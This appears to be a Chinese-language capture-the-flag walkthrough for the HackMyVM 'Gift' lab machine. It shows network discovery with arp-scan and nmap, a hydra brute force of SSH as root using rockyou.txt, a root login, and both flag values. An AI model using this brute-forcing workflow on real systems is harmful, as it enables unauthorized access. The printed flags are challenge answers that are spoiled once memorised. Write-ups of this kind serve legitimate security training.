主机发现

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# arp-scan -I eth1 -l
192.168.56.108  08:00:27:5e:9d:d1       PCS Systemtechnik GmbH
```

主机地址为: `192.168.56.108`

端口扫描

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# nmap -p- 192.168.56.108
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# nmap -sT -sC -sV -O -p22,80 192.168.56.108
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-25 23:17 CST
Nmap scan report for 192.168.56.108
Host is up (0.00085s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 2c:1b:36:27:e5:4c:52:7b:3e:10:94:41:39:ef:b2:95 (RSA)
|   256 93:c1:1e:32:24:0e:34:d9:02:0e:ff:c3:9c:59:9b:dd (ECDSA)
|_  256 81:ab:36:ec:b1:2b:5c:d2:86:55:12:0c:51:00:27:d7 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:5E:9D:D1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds
```

探测80端口

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# curl 192.168.56.108

Dont Overthink. Really, Its simple. #登录凭证就是“simple”😳
        <!-- Trust me -->
```

信他，很简单

爆破22端口

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# hydra -l root -P ../../../rockyou.txt ssh://192.168.56.108 -vV
(...)
[22][ssh] host: 192.168.56.108   login: root   password: simple
(...)
```

`root:simple`

登录root

```
┌──(root㉿kali)-[~/Desktop/xhh/HMV/Gift]
└─# ssh root@192.168.56.108
root@192.168.56.108's password:
IM AN SSH SERVER
gift:~# whoami
root
gift:~# ls -al
total 20
drwx------    2 root     root          4096 Sep 24  2020 .
drwxr-xr-x   22 root     root          4096 Sep 18  2020 ..
-rw-------    1 root     root            23 Nov 25 15:29 .ash_history
----------    1 root     root            12 Sep 24  2020 root.txt
-rw-rw----    1 root     root            12 Sep 24  2020 user.txt

#userflag
gift:~# cat user.txt
HMV665sXzDS
#给root.txt加上r权限
gift:~# chmod +r root.txt
gift:~# cat root.txt
HMVtyr543FG
gift:~#
```